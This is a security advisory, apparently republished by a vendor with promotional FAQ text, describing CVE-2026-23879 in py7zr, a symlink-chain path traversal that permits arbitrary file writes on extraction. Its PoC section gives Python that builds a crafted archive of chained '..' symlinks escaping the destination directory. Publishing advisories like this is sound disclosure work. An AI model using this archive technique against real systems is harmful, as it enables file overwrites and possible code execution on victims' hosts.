Summary
py7zr: Arbitrary File Write Vulnerability
There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.
Details
The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.
PoC
Construct PoC Archive File
The following pseudo-code illustrates the vulnerable logic.
def create_sevenz_exp(output_dir: str):
filename = "archive.7z"
file_path = output_dir + filename
with py7zr.SevenZipFile(file_path, 'w') as archive:
archive.writestr("Some Text", "dir0/someFile.txt")
add_symlink(archive, "dir1", "dir0/..")
add_symlink(archive, "dir2", "dir1/..")
add_symlink(archive, "dir3", "dir2/..")
add_symlink(archive, "dir4", "dir3/..")
add_symlink(archive, "dir5", "dir4/..")
add_symlink(archive, "dir6", "dir5/..")
add_symlink(archive, "dir7", "dir6/..")
add_symlink(archive, "dir8", "dir7/..")
add_symlink(archive, "myTmp", "dir8/tmp")
archive.writestr("Malicious Text\n", "myTmp/poc.txt")
Unpack the archive
Use common decompression methods, then extract the archive.
import sys
import os
import py7zr
def extract_7z(seven_path, output_dir):
os.makedirs(output_dir, exist_ok=True)
with py7zr.SevenZipFile(seven_path, mode='r') as z:
z.extractall(path=output_dir)
print(f"Extracted '{seven_path}' to '{output_dir}'")
if __name__ == "__main__":
seven_file = sys.argv[1]
base_name = os.path.splitext(os.path.basename(seven_file))[0]
output = base_name + "_sevenz_output"
extract_7z(seven_file, output)
Impact
After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.
CVE-2026-23879 has a CVSS score of 8.0 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.1.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-23879? CVE-2026-23879 is a high-severity security vulnerability in py7zr (pip), affecting versions <= 1.1.2. It is fixed in 1.1.3.
- How severe is CVE-2026-23879? CVE-2026-23879 has a CVSS score of 8.0 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of py7zr are affected by CVE-2026-23879? py7zr (pip) versions <= 1.1.2 is affected.
- Is there a fix for CVE-2026-23879? Yes. CVE-2026-23879 is fixed in 1.1.3. Upgrade to this version or later.
- Is CVE-2026-23879 exploitable, and should I be worried? Whether CVE-2026-23879 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-23879 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-23879? Upgrade
py7zrto 1.1.3 or later.